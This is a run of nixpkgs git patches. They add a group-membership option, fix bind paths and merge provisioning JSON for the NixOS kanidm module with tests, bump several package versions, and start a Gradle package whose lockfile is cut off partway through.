From: oddlama <oddlama@oddlama.org>
Date: Sat, 7 Jun 2025 11:34:48 +0200
Subject: [PATCH 0741/4511] nixos/kanidm: add option and tests for imperative
 group management

(cherry picked from commit 5f833b1008e4d101e985648dd0b558e2ad46b010)
---
 nixos/modules/services/security/kanidm.nix | 11 +++++++++++
 nixos/tests/kanidm-provisioning.nix        | 19 +++++++++++++++++++
 2 files changed, 30 insertions(+)

diff --git a/nixos/modules/services/security/kanidm.nix b/nixos/modules/services/security/kanidm.nix
index 67b219595458..bb56d5a44797 100644
--- a/nixos/modules/services/security/kanidm.nix
+++ b/nixos/modules/services/security/kanidm.nix
@@ -465,6 +465,17 @@ in
                 apply = unique;
                 default = [ ];
               };
+
+              overwriteMembers = mkOption {
+                description = ''
+                  Whether the member list should be overwritten each time (true) or appended
+                  (false). Append mode allows interactive group management in addition to the
+                  declared members. Also, future member removals cannot be reflected
+                  automatically in append mode.
+                '';
+                type = types.bool;
+                default = true;
+              };
             };
             config.members = concatLists (
               flip mapAttrsToList cfg.provision.persons (
diff --git a/nixos/tests/kanidm-provisioning.nix b/nixos/tests/kanidm-provisioning.nix
index 8f0ca0ec0859..7b40675aacd2 100644
--- a/nixos/tests/kanidm-provisioning.nix
+++ b/nixos/tests/kanidm-provisioning.nix
@@ -74,6 +74,10 @@ import ./make-test-python.nix (
               };
 
               groups.testgroup1 = { };
+              groups.imperative = {
+                overwriteMembers = false;
+                members = [ "testuser1" ];
+              };
 
               persons.testuser1 = {
                 displayName = "Test User";
@@ -134,6 +138,11 @@ import ./make-test-python.nix (
               };
 
               groups.testgroup1 = { };
+              groups.imperative = {
+                overwriteMembers = false;
+                # Will be retained:
+                # members = [ "testuser1" ];
+              };
 
               persons.testuser1 = {
                 displayName = "Test User (changed)";
@@ -329,6 +338,10 @@ import ./make-test-python.nix (
             out = provision.succeed("kanidm group get testgroup1")
             assert_contains(out, "name: testgroup1")
 
+            out = provision.succeed("kanidm group get imperative")
+            assert_contains(out, "name: imperative")
+            assert_contains(out, "member: testuser1")
+
             out = provision.succeed("kanidm group get supergroup1")
             assert_contains(out, "name: supergroup1")
             assert_contains(out, "member: testgroup1")
@@ -339,6 +352,7 @@ import ./make-test-python.nix (
             assert_contains(out, "legalname: Jane Doe")
             assert_contains(out, "mail: jane.doe@example.com")
             assert_contains(out, "memberof: testgroup1")
+            assert_contains(out, "memberof: imperative")
             assert_contains(out, "memberof: service1-access")
 
             out = provision.succeed("kanidm person get testuser2")
@@ -383,6 +397,10 @@ import ./make-test-python.nix (
             out = provision.succeed("kanidm group get testgroup1")
             assert_contains(out, "name: testgroup1")
 
+            out = provision.succeed("kanidm group get imperative")
+            assert_contains(out, "name: imperative")
+            assert_contains(out, "member: testuser1")
+
             out = provision.succeed("kanidm group get supergroup1")
             assert_contains(out, "name: supergroup1")
             assert_lacks(out, "member: testgroup1")
@@ -394,6 +412,7 @@ import ./make-test-python.nix (
             assert_contains(out, "mail: jane.doe@example.com")
             assert_contains(out, "mail: second.doe@example.com")
             assert_lacks(out, "memberof: testgroup1")
+            assert_contains(out, "memberof: imperative")
             assert_contains(out, "memberof: service1-access")
 
             out = provision.succeed("kanidm person get testuser2")

From f774b03b1e75f22c79487cc6714d3906bd767b36 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 24 May 2025 07:20:08 +0000
Subject: [PATCH 0742/4511] mergiraf: 0.8.0 -> 0.8.1

(cherry picked from commit 5d599101f53e88579a9fe35355b4f13b1015acbc)
---
 pkgs/by-name/me/mergiraf/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/me/mergiraf/package.nix b/pkgs/by-name/me/mergiraf/package.nix
index 4d60d995b184..3642d9f256e3 100644
--- a/pkgs/by-name/me/mergiraf/package.nix
+++ b/pkgs/by-name/me/mergiraf/package.nix
@@ -11,18 +11,18 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "mergiraf";
-  version = "0.8.0";
+  version = "0.8.1";
 
   src = fetchFromGitea {
     domain = "codeberg.org";
     owner = "mergiraf";
     repo = "mergiraf";
     rev = "refs/tags/v${version}";
-    hash = "sha256-CQriH0vZ+ZBSIZcj0MKQEojpugS2g4sCuDICmwLCUBE=";
+    hash = "sha256-HtIrl9q64JLV/ufJ2g9OrQDDOkcwvyn4+l6/dUqwXkw=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-nsWRysIupGC3w0L7OMChcgPPTHSwnmcKv58BTn51cY4=";
+  cargoHash = "sha256-xe+JbXKOfxj0XSUM3zW0cYkWo22nyTOp+mOudv3UbE4=";
 
   nativeCheckInputs = [
     git

From 481131b7f475ebd2174bf931b855bec71d93ea64 Mon Sep 17 00:00:00 2001
From: Flakebi <flakebi@t-online.de>
Date: Wed, 21 May 2025 08:49:52 +0200
Subject: [PATCH 0743/4511] nixos/kanidm: Fix bind paths
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

1. We bound the directory of certificates, this lead to forced read-only
   binds of these directories, even if they should have been bound
   read-write for other files in there. Looking at the history, there
   seems to be no compelling reason for this, so switch to binding
   the files directly.
2. `/run/kanidmd` is configured as `RuntimeDirectory` so bound
   automatically and we don’t need to specify it explicitly.

(cherry picked from commit c4f052c08ae5724614fda2913280233cb3c142f0)
---
 nixos/modules/services/security/kanidm.nix | 17 +++++------------
 1 file changed, 5 insertions(+), 12 deletions(-)

diff --git a/nixos/modules/services/security/kanidm.nix b/nixos/modules/services/security/kanidm.nix
index 67b219595458..9e624abf599b 100644
--- a/nixos/modules/services/security/kanidm.nix
+++ b/nixos/modules/services/security/kanidm.nix
@@ -54,15 +54,10 @@ let
     ++ optional (cfg.provision.extraJsonFile != null) cfg.provision.extraJsonFile
     ++ mapAttrsToList (_: x: x.basicSecretFile) cfg.provision.systems.oauth2
   );
-  secretDirectories = unique (
-    map builtins.dirOf (
-      [
-        cfg.serverSettings.tls_chain
-        cfg.serverSettings.tls_key
-      ]
-      ++ optionals cfg.provision.enable provisionSecretFiles
-    )
-  );
+  secretPaths = [
+    cfg.serverSettings.tls_chain
+    cfg.serverSettings.tls_key
+  ] ++ optionals cfg.provision.enable provisionSecretFiles;
 
   # Merge bind mount paths and remove paths where a prefix is already mounted.
   # This makes sure that if e.g. the tls_chain is in the nix store and /nix/store is already in the mount
@@ -881,7 +876,7 @@ in
         (
           defaultServiceConfig
           // {
-            BindReadOnlyPaths = mergePaths (defaultServiceConfig.BindReadOnlyPaths ++ secretDirectories);
+            BindReadOnlyPaths = mergePaths (defaultServiceConfig.BindReadOnlyPaths ++ secretPaths);
           }
         )
         {
@@ -895,8 +890,6 @@ in
 
           BindPaths =
             [
-              # To create the socket
-              "/run/kanidmd:/run/kanidmd"
               # To store backups
               cfg.serverSettings.online_backup.path
             ]

From 52831b648ce45992b78eaf6f05cda8754d5e150c Mon Sep 17 00:00:00 2001
From: Ilan Joselevich <personal@ilanjoselevich.com>
Date: Tue, 27 May 2025 18:06:34 +0300
Subject: [PATCH 0744/4511] nixos/kanidm: merge recursively with extraJsonFile

Previously, if you set group memberships in both locations, they will
get replaced by the ones in extraJsonFile, which is unexpected as it
kicks users from the group. Now the state files get merged recursively,
including the arrays.

(cherry picked from commit 3b6b50dfadb4e861d55fb4d2c66325fc7e321236)
---
 nixos/modules/services/security/kanidm.nix |  8 ++---
 nixos/tests/kanidm-provisioning.nix        | 38 ++++++++++++++++++++++
 2 files changed, 42 insertions(+), 4 deletions(-)

diff --git a/nixos/modules/services/security/kanidm.nix b/nixos/modules/services/security/kanidm.nix
index 9e624abf599b..1fc864f79eea 100644
--- a/nixos/modules/services/security/kanidm.nix
+++ b/nixos/modules/services/security/kanidm.nix
@@ -180,7 +180,9 @@ let
 
   finalJson =
     if cfg.provision.extraJsonFile != null then
-      "<(${lib.getExe pkgs.jq} -s '.[0] * .[1]' ${provisionStateJson} ${cfg.provision.extraJsonFile})"
+      ''
+        <(${lib.getExe pkgs.yq-go} '. *+ load("${cfg.provision.extraJsonFile}") | (.. | select(type == "!!seq")) |= unique' ${provisionStateJson})
+      ''
     else
       provisionStateJson;
 
@@ -437,10 +439,8 @@ in
         description = ''
           A JSON file for provisioning persons, groups & systems.
           Options set in this file take precedence over values set using the other options.
-          In the case of duplicates, `jq` will remove all but the last one
-          when merging this file with the options.
+          The files get deeply merged, and deduplicated.
           The accepted JSON schema can be found at <https://github.com/oddlama/kanidm-provision#json-schema>.
-          Note: theoretically `jq` cannot merge nested types, but this does not pose an issue as kanidm-provision's JSON scheme does not use nested types.
         '';
         type = types.nullOr types.path;
         default = null;
diff --git a/nixos/tests/kanidm-provisioning.nix b/nixos/tests/kanidm-provisioning.nix
index 8f0ca0ec0859..6866a16427d4 100644
--- a/nixos/tests/kanidm-provisioning.nix
+++ b/nixos/tests/kanidm-provisioning.nix
@@ -235,6 +235,29 @@ import ./make-test-python.nix (
             };
           };
 
+        specialisation.extraJsonFile.configuration =
+          { ... }:
+          {
+            services.kanidm.provision = lib.mkForce {
+              enable = true;
+              idmAdminPasswordFile = pkgs.writeText "idm-admin-pw" provisionIdmAdminPassword;
+
+              extraJsonFile = pkgs.writeText "extra-json.json" (
+                builtins.toJSON {
+                  persons.testuser2.displayName = "Test User 2";
+                  groups.testgroup1.members = [ "testuser2" ];
+                }
+              );
+
+              groups.testgroup1 = { };
+
+              persons.testuser1 = {
+                displayName = "Test User 1";
+                groups = [ "testgroup1" ];
+              };
+            };
+          };
+
         security.pki.certificateFiles = [ certs.ca.cert ];
 
         networking.hosts."::1" = [ serverDomain ];
@@ -516,6 +539,21 @@ import ./make-test-python.nix (
             out = provision.succeed("kanidm system oauth2 get service2")
             assert_lacks(out, "name: service2")
 
+            provision.succeed("kanidm logout -D idm_admin")
+
+        with subtest("Test Provisioning - extraJsonFile"):
+            provision.succeed('${specialisations}/extraJsonFile/bin/switch-to-configuration test')
+            provision_login("${provisionIdmAdminPassword}")
+            out = provision.succeed("kanidm group get testgroup1")
+            assert_contains(out, "name: testgroup1")
+            out = provision.succeed("kanidm person get testuser1")
+            assert_contains(out, "name: testuser1")
+            out = provision.succeed("kanidm person get testuser2")
+            assert_contains(out, "name: testuser2")
+            out = provision.succeed("kanidm group get testgroup1")
+            assert_contains(out, "member: testuser1")
+            assert_contains(out, "member: testuser2")
+
             provision.succeed("kanidm logout -D idm_admin")
       '';
   }

From b277d88e9531089abc7ecd7eb9b6fc19accadd55 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 8 Jun 2025 17:31:54 +0000
Subject: [PATCH 0745/4511] mongodb-atlas-cli: 1.42.2 -> 1.43.2

(cherry picked from commit 3f134dec90f0f54101aa50e5c3551337d25c89b6)
---
 pkgs/by-name/mo/mongodb-atlas-cli/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/mo/mongodb-atlas-cli/package.nix b/pkgs/by-name/mo/mongodb-atlas-cli/package.nix
index 2c00474a9587..2864e52b48ce 100644
--- a/pkgs/by-name/mo/mongodb-atlas-cli/package.nix
+++ b/pkgs/by-name/mo/mongodb-atlas-cli/package.nix
@@ -10,15 +10,15 @@
 
 buildGoModule rec {
   pname = "mongodb-atlas-cli";
-  version = "1.42.2";
+  version = "1.43.2";
 
-  vendorHash = "sha256-oWn8vEwhcrGsytou+xIKOrM1kO0gIvU3X/aIWavhh2w=";
+  vendorHash = "sha256-Pem+3HH/bdf1SulsLo/5hsFYN8p7kQve0vXptUFnvsM=";
 
   src = fetchFromGitHub {
     owner = "mongodb";
     repo = "mongodb-atlas-cli";
     rev = "refs/tags/atlascli/v${version}";
-    sha256 = "sha256-RJMcVOP94eFxbvYF20/X+wkf5+/DWSEQ4+dt/LxcDro=";
+    sha256 = "sha256-Xb/6kgqee38DqbLPLkel8NhXxdjq4UYX4E/y3xUW7og=";
   };
 
   nativeBuildInputs = [ installShellFiles ];

From 774a860fab50082fe321abae5dcb9b7fdedd1bab Mon Sep 17 00:00:00 2001
From: "R. RyanTM" <ryantm-bot@ryantm.com>
Date: Wed, 4 Jun 2025 09:15:39 +1000
Subject: [PATCH 0746/4511] mergiraf: 0.8.1 -> 0.10.0 (#413571)

https://codeberg.org/mergiraf/mergiraf/releases/tag/v0.9.0
https://codeberg.org/mergiraf/mergiraf/releases/tag/v0.10.0
(cherry picked from commit 14ec05570d5336bde2bad5ae56416cbb3ef39850)
---
 pkgs/by-name/me/mergiraf/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/me/mergiraf/package.nix b/pkgs/by-name/me/mergiraf/package.nix
index 3642d9f256e3..64df812e3231 100644
--- a/pkgs/by-name/me/mergiraf/package.nix
+++ b/pkgs/by-name/me/mergiraf/package.nix
@@ -11,18 +11,18 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "mergiraf";
-  version = "0.8.1";
+  version = "0.10.0";
 
   src = fetchFromGitea {
     domain = "codeberg.org";
     owner = "mergiraf";
     repo = "mergiraf";
     rev = "refs/tags/v${version}";
-    hash = "sha256-HtIrl9q64JLV/ufJ2g9OrQDDOkcwvyn4+l6/dUqwXkw=";
+    hash = "sha256-wnXOl7KzSvvxQP4CebOJ+fEIn7fQDKTmO2PkGMRA4t4=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-xe+JbXKOfxj0XSUM3zW0cYkWo22nyTOp+mOudv3UbE4=";
+  cargoHash = "sha256-jShWfd3m9g6YlUFLOzlMPFtuXAAfjh+sBujCJ9F2Uj0=";
 
   nativeCheckInputs = [
     git

From 07f95ec3ffb7ee452f4f266593594a2de0dc523a Mon Sep 17 00:00:00 2001
From: Petr Portnov <mrjarviscraft+nix@gmail.com>
Date: Sun, 30 Mar 2025 00:53:12 +0300
Subject: [PATCH 0747/4511] gradle-dependency-tree-diff: init at 1.2.1

(cherry picked from commit 562ce93844573d0807d9b0b62f73bc48249c6ddf)
---
 .../gr/gradle-dependency-tree-diff/deps.json  | 250 ++++++++++++++++++
 .../gradle-dependency-tree-diff/package.nix   |  68 +++++
 2 files changed, 318 insertions(+)
 create mode 100644 pkgs/by-name/gr/gradle-dependency-tree-diff/deps.json
 create mode 100644 pkgs/by-name/gr/gradle-dependency-tree-diff/package.nix

diff --git a/pkgs/by-name/gr/gradle-dependency-tree-diff/deps.json b/pkgs/by-name/gr/gradle-dependency-tree-diff/deps.json
new file mode 100644
index 000000000000..98d96c3b5688
--- /dev/null
+++ b/pkgs/by-name/gr/gradle-dependency-tree-diff/deps.json
@@ -0,0 +1,250 @@
+{
+ "!comment": "This is a nixpkgs Gradle dependency lockfile. For more details, refer to the Gradle section in the nixpkgs manual.",
+ "!version": 1,
+ "https://dl.google.com": {
+  "dl/android/maven2/com/android/tools#r8/8.2.33": {
+   "jar": "sha256-gMOaKLtmtk78Iy1orlVNWf44OICHOLT+WEiEaRyx5aM=",
+   "pom": "sha256-LgVrRdWEZxSbQSHxnpZpKdnMgFFpkrDKJKa/Y24aW+U="
+  }
+ },
+ "https://plugins.gradle.org/m2": {
+  "com/google/code/gson#gson-parent/2.9.1": {
+   "pom": "sha256-fKCEXnNoVhjePka9NDTQOko3PVIPq5OmgDGK1sjLKnk="
+  },
+  "com/google/code/gson#gson/2.9.1": {
+   "jar": "sha256-N4U04znm5tULFzb7Ort28cFdG+P0wTzsbVNkEuI9pgM=",
+   "pom": "sha256-5ZZjI9cUJXCzekvpeeIbwtroSBB+TcQW2PRNmqPwKQM="
+  },
+  "org/gradle/toolchains#foojay-resolver/0.7.0": {
+   "jar": "sha256-k2crR0Cg/b+7W68INT24rpqbsl9rEKk8B4EmxxfbOsA=",
+   "module": "sha256-7WdGoJ8yv63bkLApECrmIybiSBKaaLdGYqSkM9VTFLg=",
+   "pom": "sha256-iCa8+5Iq8MIR5BPTmwgWWRPAgwZkE+BzDNgrLgsKie4="
+  },
+  "org/gradle/toolchains/foojay-resolver-convention#org.gradle.toolchains.foojay-resolver-convention.gradle.plugin/0.7.0": {
+   "pom": "sha256-yKRD4vrvh28zijkSM8IKka1bg/acHGuiDTmns5EGJAo="
+  },
+  "org/sonatype/oss#oss-parent/9": {
+   "pom": "sha256-+0AmX5glSCEv+C42LllzKyGH7G8NgBgohcFO8fmCgno="
+  }
+ },
+ "https://repo.maven.apache.org/maven2": {
+  "com/google/auto/value#auto-value-annotations/1.10.4": {
+   "jar": "sha256-4cRea+ra75eXyw2a/VpFYhrQYc2GMgEvhVgoU6OIeCU=",
+   "pom": "sha256-c6W4UV+F+IxAiff/SkPNF5Wkgf2rk/qQULE8+hqNJfc="
+  },
+  "com/google/auto/value#auto-value-parent/1.10.4": {
+   "pom": "sha256-vsOhnk3ci2QGZyMzzFBbngy2s1WLskIxSGm7bh1ojTA="
+  },
+  "com/google/code/findbugs#jsr305/3.0.2": {
+   "jar": "sha256-dmrSoHg/JoeWLIrXTO7MOKKLn3Ki0IXuQ4t4E+ko0Mc=",
+   "pom": "sha256-GYidvfGyVLJgGl7mRbgUepdGRIgil2hMeYr+XWPXjf4="
+  },
+  "com/google/errorprone#error_prone_annotations/2.23.0": {
+   "jar": "sha256-7G858Gi2/5rDI8aOKLkpn4wKgMpRLcyx1KcPQKw+wFQ=",
+   "pom": "sha256-1auxfyMbY78Ak1j6ZAKBt0SBDLlYflmUl3g0lZwH29g="
+  },
+  "com/google/errorprone#error_prone_parent/2.23.0": {
+   "pom": "sha256-9UcKSzEE/jCfvpSoDRbDxU0g90j0xd5PaKQoaI8wy9Q="
+  },
+  "com/google/guava#failureaccess/1.0.2": {
+   "jar": "sha256-io+Bz5s1nj9t+mkaHndphcBh7y8iPJssgHU+G0WOgGQ=",
+   "pom": "sha256-GevG9L207bs9B7bumU+Ea1TvKVWCqbVjRxn/qfMdA7I="
+  },
+  "com/google/guava#guava-parent/26.0-android": {
+   "pom": "sha256-+GmKtGypls6InBr8jKTyXrisawNNyJjUWDdCNgAWzAQ="
+  },
+  "com/google/guava#guava-parent/33.0.0-android": {
+   "pom": "sha256-WvSDt4xJ3njEn67dKlh1J4SkTINj9eJeUuKXgUwJF3o="
+  },
+  "com/google/guava#guava/33.0.0-android": {
+   "module": "sha256-FVcraAtd/L75ZtASDmUEEpqMf79gCEXfNp2Tkxe4IDY=",
+   "pom": "sha256-0R72awjIAS/3aC4LC8tykykyRwpQnXJSgD/GIeLJZfY="
+  },
+  "com/google/guava#guava/33.0.0-jre": {
+   "jar": "sha256-9NhcPk1BFpQzfLhzq+oJskK2ZLsBMyC+YQUyfEWZFTc="
+  },
+  "com/google/guava#listenablefuture/9999.0-empty-to-avoid-conflict-with-guava": {
+   "jar": "sha256-s3KgN9QjCqV/vv/e8w/WEj+cDC24XQrO0AyRuXTzP5k=",
+   "pom": "sha256-GNSx2yYVPU5VB5zh92ux/gXNuGLvmVSojLzE/zi4Z5s="
+  },
+  "com/google/j2objc#j2objc-annotations/2.8": {
+   "jar": "sha256-8CqV+hpele2z7YWf0Pt99wnRIaNSkO/4t03OKrf01u0=",
+   "pom": "sha256-N/h3mLGDhRE8kYv6nhJ2/lBzXvj6hJtYAMUZ1U2/Efg="
+  },
+  "com/google/truth#truth-parent/1.2.0": {
+   "pom": "sha256-Q8/2l2yxZ5ETlTWluYDpwTW8Fgxk7hGc/6qNHv9aquI="
+  },
+  "com/google/truth#truth/1.2.0": {
+   "jar": "sha256-tGEIQNXjffFOZqqwuEDA7j+l6Vl9o6KQIGQYcXHCM5o=",
+   "pom": "sha256-4snQPEXLKYR49KPOM37mXXsk+nVA/PSEy/OkvuQCuVo="
+  },
+  "junit#junit/4.13.2": {
+   "jar": "sha256-jklbY0Rp1k+4rPo0laBly6zIoP/1XOHjEAe+TBbcV9M=",
+   "pom": "sha256-Vptpd+5GA8llwcRsMFj6bpaSkbAWDraWTdCSzYnq3ZQ="
+  },
+  "org/checkerframework#checker-qual/3.42.0": {
+   "jar": "sha256-zK7dM68LeJTZ8vO2RPTRnkOSjjKQLmGsTRB3eDD1qsc=",
+   "module": "sha256-4PpiK33mPq4RBH726RtMKtDx8OE8uQP/UggKR/V6V0Y=",
+   "pom": "sha256-v1/KqycvVMvPG753w72WPIIcmrrSBYcIvwvtPIdUlMo="
+  },
+  "org/hamcrest#hamcrest-core/1.3": {
+   "jar": "sha256-Zv3vkelzk0jfeglqo4SlaF9Oh1WEzOiThqekclHE2Ok=",
+   "pom": "sha256-/eOGp5BRc6GxA95quCBydYS1DQ4yKC4nl3h8IKZP+pM="
+  },
+  "org/hamcrest#hamcrest-parent/1.3": {
+   "pom": "sha256-bVNflO+2Y722gsnyelAzU5RogAlkK6epZ3UEvBvkEps="
+  },
+  "org/jetbrains#annotations/13.0": {
+   "jar": "sha256-rOKhDcji1f00kl7KwD5JiLLA+FFlDJS4zvSbob0RFHg=",
+   "pom": "sha256-llrrK+3/NpgZvd4b96CzuJuCR91pyIuGN112Fju4w5c="
+  },
+  "org/jetbrains/intellij/deps#trove4j/1.0.20200330": {
+   "jar": "sha256-xf1yW/+rUYRr88d9sTg8YKquv+G3/i8A0j/ht98KQ50=",
+   "pom": "sha256-h3IcuqZaPJfYsbqdIHhA8WTJ/jh1n8nqEP/iZWX40+k="
+  },
+  "org/jetbrains/kotlin#kotlin-android-extensions/1.9.22": {
+   "jar": "sha256-Hl6IFkKpnduPbRPmmVoIwZK8OEGHOWZj2ER8CB2H4k8=",
+   "pom": "sha256-lEt8+zPgpvtoRVkEjwKMuWMmyTKiRdXLAhQ7zSwDEVk="
+  },
+  "org/jetbrains/kotlin#kotlin-build-common/1.9.22": {
+   "jar": "sha256-U8PcxTA/WQPmJgrqc+zMaTD5o276KhHNO9On5V32OWY=",
+   "pom": "sha256-KXxfSYoHdIPvic06cQzSt/LlrjgPOjrt+5xBvGI7E0A="
+  },
+  "org/jetbrains/kotlin#kotlin-build-tools-api/1.9.22": {
+   "jar": "sha256-3UnLfij08zgvUlDPsFyGT9XwqW0yZbspPHezCtzJP/Y=",
+   "pom": "sha256-DFZLu4fcXs32Q005buob886Xar8IgYCN0Wb6SbBGSfs="
+  },
+  "org/jetbrains/kotlin#kotlin-build-tools-impl/1.9.22": {
+   "jar": "sha256-G0jW3gQqUl9jtVdROuEmbWmTSCJbAT+UDjLGPeJolCg=",
+   "pom": "sha256-tWM/E0m+lcdHRuHimiqm51LoneGrmmUjSS85j6aVWN0="
+  },
+  "org/jetbrains/kotlin#kotlin-compiler-embeddable/1.9.22": {
+   "jar": "sha256-K/6t7lmrGYjDNtvW5l2ZH3Zq4d2Gg/Km3tX6oCefDKA=",
+   "pom": "sha256-s9o0u29ClqzzoPRDRm8FBsbJnaXNliTW4LdFsiKHhOs="
+  },
+  "org/jetbrains/kotlin#kotlin-compiler-runner/1.9.22": {
+   "jar": "sha256-c+x1u5nr/6iySiSjuFPz9mCWvEapNRrw2sk967acFes=",
+   "pom": "sha256-pO6KZ8HW8lODjAAnKAvLgFCsDc3MrZdIlhOKaaAX6wE="
+  },
+  "org/jetbrains/kotlin#kotlin-daemon-client/1.9.22": {
+   "jar": "sha256-XXPhgVsRZ+Sv4gjwCyp1wIC8WoEHhsqtuOFHh1k6k7k=",
+   "pom": "sha256-YsRKZZ2lXbb7El4pKbmNUEow4fSvgU4I5JIUJqpST4o="
+  },
+  "org/jetbrains/kotlin#kotlin-daemon-embeddable/1.9.22": {
+   "jar": "sha256-kqV4ExcUR9U0Rh+hP+N9yM07f4bYPpsfe7GwvjBUH4s=",
+   "pom": "sha256-9uo9z2v7Og0GmER8SKa88I2Oqs+D/JX+nUGBpeXjwrE="
+  },
+  "org/jetbrains/kotlin#kotlin-gradle-plugin-annotations/1.9.22": {
+   "jar": "sha256-lnaDy5jZkQFFYH+/W0VilbQ/Cq+Tsbunv2mS5zHLJOw=",
+   "pom": "sha256-Y7por+B4/3D3CPnpecaTxFv+iQQfeWQbC4H2tKEm7rs="
+  },
+  "org/jetbrains/kotlin#kotlin-gradle-plugin-api/1.9.22": {
+   "jar": "sha256-7P9nVGBlxg4JX7k7P4i5uS7R7cN+P+u8b57TVCL6QSs=",
+   "module": "sha256-H0SJxTBPmlEqVof/zAqvCTCvydcgUdOpBfrAcANi+3s=",
+   "pom": "sha256-ZAFewaGutVCqGCjCQuIoODDFD2g2TkCDH+FYj9wEEfU="
+  },
+  "org/jetbrains/kotlin#kotlin-gradle-plugin-idea-proto/1.9.22": {
+   "jar": "sha256-9dgu5hlmotmK364Z8k1hcwIsFUBIls3yNjQANe5owPU=",
+   "pom": "sha256-huMsqCkn2ogKHPNDpA7MIJgHXm/XInOzTVDfpUTzRjs="
+  },
+  "org/jetbrains/kotlin#kotlin-gradle-plugin-idea/1.9.22": {
+   "jar": "sha256-jRr4djLZUUjxIqn6CuKQPBnub6t9AeAX924NLJoCLCA=",
+   "module": "sha256-z+LCbjMPaAMsAD+lJMAx5aYPzo2Jn/8uQjFBKL60QCs=",
+   "pom": "sha256-3BSjKHVDun5QRs1OCVAtJ4hMqYfshwb1+xid54luOsw="
+  },
+  "org/jetbrains/kotlin#kotlin-gradle-plugin-model/1.9.22": {
+   "jar": "sha256-UQj61b4UmCXs46ABA8PCHPGv6VS7ZLhweJVyk511OMs=",
+   "module": "sha256-L/MBPfK6epteiwBOhIF1DI0PqVOtAHoZbYXSY2cdvq4=",
+   "pom": "sha256-gfUmlHml2X7oeSpITIMr495DgggSZxlhUAHKyI5C9qg="
+  },
+  "org/jetbrains/kotlin#kotlin-gradle-plugin/1.9.22": {
+   "module": "sha256-pPRqwMq9jVzbaJ0tN9GdWFhPcIv59k/+TpgKL/dTS7U=",
+   "pom": "sha256-A3750tSupA9JKdglE1g+STwOBRVuDaix1/Ujurhobyc="
+  },
+  "org/jetbrains/kotlin#kotlin-gradle-plugin/1.9.22/gradle82": {
+   "jar": "sha256-1OcY3V8wxrqTLZPM/FswFendPkQUOgUrh3Ao8frlQtw="
+  },
+  "org/jetbrains/kotlin#kotlin-gradle-plugins-bom/1.9.22": {
+   "module": "sha256-Qj401h0iCxoN3BgUCGqM6rTa2ed5ArDOjLRyG789xu0=",
+   "pom": "sha256-da2/XHjOJHwiuvNijQs/8c9+19N9YB66cwTXerdb3Z8="
+  },
+  "org/jetbrains/kotlin#kotlin-klib-commonizer-api/1.9.22": {
+   "jar": "sha256-jC9lQpwYLi5KLgnLkQ5iuW227tKFWUuPga+CO35ZROI=",
+   "pom": "sha256-EMrJcNMAo0icM/CzBBVv8DLZWVm+WqrDuIAoKtWGIv4="
+  },
+  "org/jetbrains/kotlin#kotlin-klib-commonizer-embeddable/1.9.22": {
+   "jar": "sha256-c/50PnTSEoPTg9C6voX9CMRCr8GnvYgIL42gUQ0FPUs=",
+   "pom": "sha256-dxghItppe2YqSRPX3Z/mu68ATOhH/YZ9oj6v8MTIJEs="
+  },
+  "org/jetbrains/kotlin#kotlin-native-utils/1.9.22": {
+   "jar": "sha256-eGwSfdVTXbLDmuWXzQsMrZ6RS4PiNvHbAlEjXMnGUqw=",
+   "pom": "sha256-EcUUwF7qOuno4Wq0l5bxEd9DxzSCMeNfr0xCjMT3Q+o="
+  },
+  "org/jetbrains/kotlin#kotlin-project-model/1.9.22": {
+   "jar": "sha256-zBHVwLGQnFsKCP0l7w51T/0r9Wyu9mX7eFEiI15UKhg=",
+   "pom": "sha256-659KFngb/ADM7IAw++XuIo5vKydxxQwmezIY/rAGW0A="
+  },
+  "org/jetbrains/kotlin#kotlin-reflect/1.6.10": {
+   "jar": "sha256-MnesECrheq0QpVq+x1/1aWyNEJeQOWQ0tJbnUIeFQgM=",
+   "pom": "sha256-V5BVJCdKAK4CiqzMJyg/a8WSWpNKBGwcxdBsjuTW1ak="
+  },
+  "org/jetbrains/kotlin#kotlin-script-runtime/1.9.22": {
+   "jar": "sha256-uAZwV59/ktRz2NWDTwsST3dVxFmP6UskQYOwKDSDRXQ=",
+   "pom": "sha256-/ra0ns9pEG1MEoXnH5ob2noSfO9oMC4+n9yCmKTjR5U="
+  },
+  "org/jetbrains/kotlin#kotlin-scripting-common/1.9.22": {
+   "jar": "sha256-+lAMvwNJQ++BJvPT3GWvCf+Z3//kTFCZtPwu1b8vXcc=",
+   "pom": "sha256-ROURI7DCfm/ZM/wma00Nrw8GhKYq7Z/mhC6Noz8qKz8="
+  },
+  "org/jetbrains/kotlin#kotlin-scripting-compiler-embeddable/1.9.22": {
+   "jar": "sha256-Ij/shIMCNEmc1MeiPqHJLroSfEGzXZux1LYdJBVa6zU=",
+   "pom": "sha256-wWCPP7yyqfdSPq0zWZwurc5MgSFhqeBmufSwBa97Qxw="
+  },
+  "org/jetbrains/kotlin#kotlin-scripting-compiler-impl-embeddable/1.9.22": {
+   "jar": "sha256-OJkYFqKH/3YkHxp35/ERZIHU6To9tjJZplfd4g5tD2U=",
+   "pom": "sha256-gmccM6lXsuKoINZqaSwvzmPjvwR/HLJeb7A5HF3c8uc="
+  },
+  "org/jetbrains/kotlin#kotlin-scripting-jvm/1.9.22": {
+   "jar": "sha256-jRJ9dvz6BRfDbB6g4ijs4D1aRoJkKgH2R5prvccxKik=",
+   "pom": "sha256-cBJS6huo/4f8M0dqYePVxtnS3aQbqpiZTdaYDuE/vG0="
+  },
+  "org/jetbrains/kotlin#kotlin-stdlib/1.9.22": {
+   "jar": "sha256-ar4UbCeGQTi4dMzM/l9TTj65I8maG3tdRUlO5WlPPgo=",
+   "module": "sha256-9IIxS1B5wUVfb7DUJXp0XRAcYSTOlhUiuob53JCQHkc=",
+   "pom": "sha256-zOLxUoXsgHijd0a1cwigVAQt1cwlQgxD9zt4V8JGjwM="
+  },
